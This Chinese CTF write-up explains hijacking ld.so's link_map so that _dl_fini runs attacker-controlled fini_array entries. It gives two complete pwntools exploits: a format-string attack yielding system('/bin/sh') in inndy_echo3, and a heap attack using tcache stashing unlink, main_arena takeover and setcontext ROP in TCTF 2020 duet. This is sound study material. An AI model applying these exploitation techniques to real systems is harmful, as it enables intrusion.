0%

通过劫持ld中的linkmap来控制程序流

在glibc中,当一个程序调用glibc中的exit函数时,exit函数内部会调用_dl_fini,而_dl_fini函数会调用程序中的fini_array段的函数指针去执行。查看glibc源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void
internal_function
_dl_fini (void)
{
..........
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
............
}

我们注意到,有一个函数指针数组的遍历调用执行。我们来看看ld.so中相应的汇编。

在glibc2.23 32位ld.so里,是这样的,一个循环,直到esi为0,如果我们能够接触linkmap,就可以控制edi,esi,从而将fini_array转移到我们可以控制的地方,在可控区布下ROP。

再来看看64位的

差不多也是这样,如果我们要做栈迁移,可以配合上一些gadget和setcontext的gadget,就可以将栈也迁移到我们可控的区域。

在glibc2.29以上,这点非常有用。在glibc 2.29,setcontext内部的参数不再是rdi,而是rdx,而我们劫持free_hook时,能控制的是rdi,可以借助其他gadget完成对rdx的转移。

然后,当我们劫持了linkmap将fini_array转移到可控区以后,就不用再寻找gagdets来对rdx转移。我们看到在glibc 2.29下,其汇编是这样的

可见,rdx在第二次调用时,也指向了可控区,因此,我们结合setcontext即可在同一个可控区一次性完成布置。结合large bin attack,通过large bin attack向link_map里的l_addr写入一个堆地址,这又成为一种堆利用手法,我暂且叫他house of haivk。

下面,我们用两个例题来说明其利用方式

inndy_echo3

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,主函数通过alloca申请了一块随机大小的栈地址,然后传给hardfmt函数

Hardfmt里有一个非栈上的格式化字符串漏洞,可以利用5次。

由于在main里申请了随机大小的栈空间,因此hardfmt里相对栈里其他数据的距离会发生变化,因此,我们需要先拿一个固定的爆破。

1
2
3
4
5
6
def exploit():
payload = '%8$p-%14$pEND'
sh.sendline(payload)
_IO_2_1_stdout_addr = int(sh.recvuntil('-',drop = True),16)
if _IO_2_1_stdout_addr & 0xFFF != 0xD60:
raise Exception('leak error')

然后,我们就可以泄露地址,进而下一步利用。在这里,普通方法是继续利用格式化字符串,劫持栈做ROP等。这里,再介绍另一种方法,劫持linkmap里的l_addr,将fini_array转移到bss上的buff可控区内。[注意到栈里下方一个ld地址,其正好指向了linkmap里的l_addr的位置。]{.mark}

因此,我们只需利用一次格式化字符串,即可将fini_array迁移到buff里。

劫持以后,此时esi为1,意味着我们执行完这一次,不能继续执行后面的函数指针了。因此,首先利用gadgets将esi的值改大。现在edi指向我们的可控区buff,我们找到一条gadget

1
2
#修改esi
or esi, dword ptr [edi + 0xa] ; ret

将esi改大后,我们就可以继续执行下一个函数了,我们依次执行gets、system,即可完成system(command)的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#coding:utf8
from pwn import *

libc = ELF('./libc-2.23_x86.so')

context.log_level = 'debug'
def exploit():
payload = '%8$p-%14$pEND'
sh.sendline(payload)
_IO_2_1_stdout_addr = int(sh.recvuntil('-',drop = True),16)
if _IO_2_1_stdout_addr & 0xFFF != 0xD60:
raise Exception('leak error')
stack_addr = int(sh.recvuntil('END',drop = True),16)
libc_base = _IO_2_1_stdout_addr - libc.sym['_IO_2_1_stdout_']
#or esi, dword ptr [edi + 0xa] ; ret
or_esi_p_edi_a = libc_base + 0x001760d2
#push eax ; call dword ptr [eax + 0x10]
push_eax_call = libc_base + 0x0005d4e2
system_addr = libc_base + libc.sym['system']
gets_addr = libc_base + libc.sym['gets']
print 'libc_base=',hex(libc_base)
print 'stack_addr=',hex(stack_addr)

payload = 'a'*0x20
payload += p32(or_esi_p_edi_a)
payload += '\x00'*6
payload += p32(0x10) #使得or运算后,esi为0x10,这样就可以继续做rop了
payload += '\x00'*0x2A
payload += p32(push_eax_call) #gets调用完后,call [eax+0x10]处设置为system即可
payload += p32(gets_addr) #先调用gets,然后eax返回了缓冲区地址

sh.sendline(payload)
sh.recvuntil('a'*0x20)

payload = 'a'*0x10 + '\x00'
sh.sendline(payload)
sh.recvuntil('a'*0x10)

payload = 'a'*0x10 + '\x00'
sh.sendline(payload)
sh.recvuntil('a'*0x10)

#修改linkmap里的r_offset
payload = '%' + str(0x194) + 'c%91$n\x00'
#raw_input()
sh.sendline(payload)
payload = '/bin/sh\x00'.ljust(0x10) + p32(system_addr)
#raw_input()
sleep(0.2)
sh.sendline(payload)

while True:
try:
global sh
#sh = process('./echo3',env={'LD_PRELOAD':'./libc-2.23_x86.so'})
sh = remote('node3.buuoj.cn',25102)
exploit()
sh.interactive()
except:
sh.close()
print 'trying...'

TCTF 2020 duet

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

在backdoor里有溢出一字节的机会,但只能用1次

Add功能中使用的是calloc,会清空数据

我们可以利用1字节溢出构造overlap chunk,然后进行Tcache Stashing Unlink Attack将global_max_fast修改为很大,然后,我们delete一个chunk,被放到fastbin里,在main_arena里,会留下一个1,这个1,可以被我们用来伪造一个0x100的fastbin,我们控制现有的fastbin的chunk,将main_arena里伪造的串入,然后申请到main_arena控制整个main_arena。有关TCACHE Stashing Unlink attack,可以见这篇文章https://blog.csdn.net/seaaseesa/article/details/105870247

控制了main_arena,接下来,我们可以通过修改top chunk为任意位置的chunk处,从而分配到任意地址处,但是现在问题是,free_hook处没有可用的数据用于伪造,如果要让其有数据,还得再来一次堆攻击,但是现在堆已经混乱了,不好操作,而malloc_hook处使用one_gadget也打不通,现在一个好的方法就是劫持linkmap了,在linkmap里有很多数据可以供我们伪造chunk的size,从而分配过去。然后,利用setcontext,即可完成栈迁移,将栈一并迁移到linkmap里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
# -*- coding:utf-8 -*-

from pwn import *

#context.log_level = 'debug'
#sh = process('./duet')
sh = remote('pwnable.org',12356)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.29.so')
malloc_hook_s = libc.sym['__malloc_hook']
#l_addr_offset = 0x222190
l_addr_offset = 0x21b190

def add(index, size, content):
sh.sendlineafter(': ', '1')
if(index == 0):
sh.sendlineafter('Instrument: ', '琴')
elif(index == 1):
sh.sendlineafter('Instrument: ', '瑟')
sh.sendlineafter('Duration: ', str(size))
sh.sendafter('Score: ', content)

def delete(index):
sh.sendlineafter(': ', '2')
if(index == 0):
sh.sendlineafter('Instrument: ', '琴')
elif(index == 1):
sh.sendlineafter('Instrument: ', '瑟')


def show(index):
sh.sendlineafter(': ', '3')
if(index == 0):
sh.sendlineafter('Instrument: ', '琴')
elif(index == 1):
sh.sendlineafter('Instrument: ', '瑟')

def backdoor(size):
sh.sendlineafter(': ', '5')
sh.sendlineafter(': ', str(size))

for i in range(6):
add(0, 0x80, 'a' * 0x80)
delete(0)

for i in range(7):
add(0, 0xd0, 'a' * 0xd0)
delete(0)

for i in range(7):
add(0, 0x230, 'a' * 0x230)
delete(0)


for i in range(7):
add(0, 0x280, 'a' * 0x280)
delete(0)

for i in range(7):
add(0, 0x2f8, 'a' * 0x2f8)
delete(0)

for i in range(7):
add(0, 0x3f8, 'a' * 0x3f8)
delete(0)

for i in range(7):
add(0, 0xf0, 'a' * 0xf0)
delete(0)

add(0, 0x2f8, 'a' * 0x2f8)
add(1, 0x3f8, 'b' * 0x70 + p64(0x2f0) + p64(0x20) + 'f' * (0x280 - 0x80) + (p64(0) + p64(0x21)) * 7 + p64(0x300) + p64(0x21) + p64(0x21) * int((0x3f8 - 0x300)/8))
delete(0)
# delete(1)
backdoor(0xf1)
add(0, 0x280, 'c' * 0x268 + p64(0x301) + 'd' * 0x10)
show(1)
sh.recvuntil('d' * 0x10)
sh.recvn(0x10)
main_arena_xx = u64(sh.recv(6).ljust(0x8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
pop_rax = libc_base + 0x0000000000047cf8
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
syscall_ret = read_addr + 0xF
ret = libc_base + 0x000000000002535f
bss = libc_base + libc.bss()
global_fast_max = libc_base + 0x1e7600
print hex(main_arena_xx)
print 'libc_base=',hex(libc_base)
print 'global_fast_max=',hex(global_fast_max)
libc_addr = libc_base
# pause()
delete(0)

delete(1)
add(1, 0x200, 'h' * 0x200)
add(0, 0x260, p64(0x21) * (0x46+6))
delete(1)

add(1, 0xd0, 's' * 0x50 + p64(0) + p64(0x241) + 's' * 0x70)
# pause()
delete(0)
show(1)
sh.recvuntil('s' * 0x50)
sh.recvn(0x10)
heap_addr = u64(sh.recvn(8))
success('heap_addr: ' + hex(heap_addr))
add(0, 0x1a0, 'u' * 0x70 + p64(0) + p64(0x21) + 'u' * 0x120)
delete(1)
add(1, 0xd0, 'q' * 0x50 + p64(0) + p64(0x291) + 'q' * 0x70)
delete(0)
# pause()
add(0, 0x280, 'w' * 0x70 + p64(0x21) * 6 + 'w' * 0x100 + p64(0) + p64(0x101) + p64(heap_addr) + p64(libc_addr + 0x1e7600 + 4 - 0x10) + 'w' * (0x250 - 0x1b0) + p64(0) + p64(0x101) + p64(libc_addr + 0x1e4d20) + p64(heap_addr - 0xc0))
# libc_addr + 0x1e7600 - 0x10 + 4
# delete(0)
delete(1)
add(1, 0xd0, 'q' * 0x50 + p64(0) + p64(0x401) + 'q' * 0x70)
delete(1)
add(1, 0x3f0, p64(0x21) * int(0x3f0/8))
delete(1)
add(1, 0x80, 'a' * 0x80) #触发Tcache Stashing Unlink Attack
delete(0) #接下来,这个chunk被放入fastbin,在main_arena留下一个1,这个1可以用来伪造fastbin的size
delete(1)
add(0, 0x3f0, 'o' * 0x260 + p64(0) + p64(0x101) + p64(libc_addr + 0x1e4c3F) + p64(0) + p64(0x21) * int((0x3f0 - 0x280)/8)) #将main_arena里伪造fastbin链接到现有的fastbin里
# pause()
add(1, 0xf0, 'a' * 0xf0)
delete(0)

payload = 'z' * 0x1 + '\x00' * 0x50 + p64(libc_addr + l_addr_offset - 0x14) #top chunk指向linkmap->l_addr附近
payload += p64(0) + p64(libc_addr + 0x1e4ca0)*2 #修复unsorted bin
payload += p64(libc_addr + 0x1e4cb0)*2 + p64(libc_addr + 0x1e4cc0)*2 + p64(libc_addr + 0x1e4cd0)*2
payload += p64(libc_addr + 0x1e4ce0)*2 + p64(libc_addr + 0x1e4cf0)*2 + p64(libc_addr + 0x1e4d00)*2 + p64(libc_addr + 0x1e4d10)*2 + p64(0)*2
add(0, 0xf1,payload) #fastbin attack申请到main_arena里,控制main_arena
delete(1)
setcontext_addr = libc_addr + libc.sym['setcontext']

#伪造link_map
payload = '\x00'*0x4
payload += p64(libc_base + l_addr_offset + 0x20) #fini_array的基址
payload += '\x00'*0x10
payload += p64(libc_base + l_addr_offset + 0x5A0)
payload += p64(0)
payload += p64(libc_addr + l_addr_offset)
#此处,伪造一系列需要执行的函数虚表

payload += p64(setcontext_addr + 0x35) #函数1,setcontext做栈迁移
payload += p64(ret) #函数0,使得rdx指向link_map内部

#这里布置rop,正好0x90
rop= p64(0) + p64(pop_rsi) + p64(libc_base + l_addr_offset + 0x70) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
rop = rop.ljust(0x90,'a')
payload += rop
#这里布置rsp
payload += p64(libc_base + l_addr_offset + 0x40)
#这里布置[rdx+0xA8]
payload += p64(pop_rdi)

payload = payload.ljust(0x114,'a')
payload += p64(libc_addr + l_addr_offset + 0x110) ##fini_array的偏移的指针
payload += p64(0) ##fini_array的偏移
payload += p64(libc_addr + l_addr_offset + 0x120) #函数个数变量的指针
payload += p64(0x20) #函数个数

payload = payload.ljust(0x1E0,'a')
add(1,0x1E0,payload)
#执行rop,输入后续的主rop
sh.sendlineafter(':','6')

flag_str = libc_addr + l_addr_offset + 0x118
rop = p64(pop_rdi) + p64(flag_str) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(0x2) + p64(syscall_ret)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
rop += '/flag\x00'
sh.sendline(rop)

sh.interactive()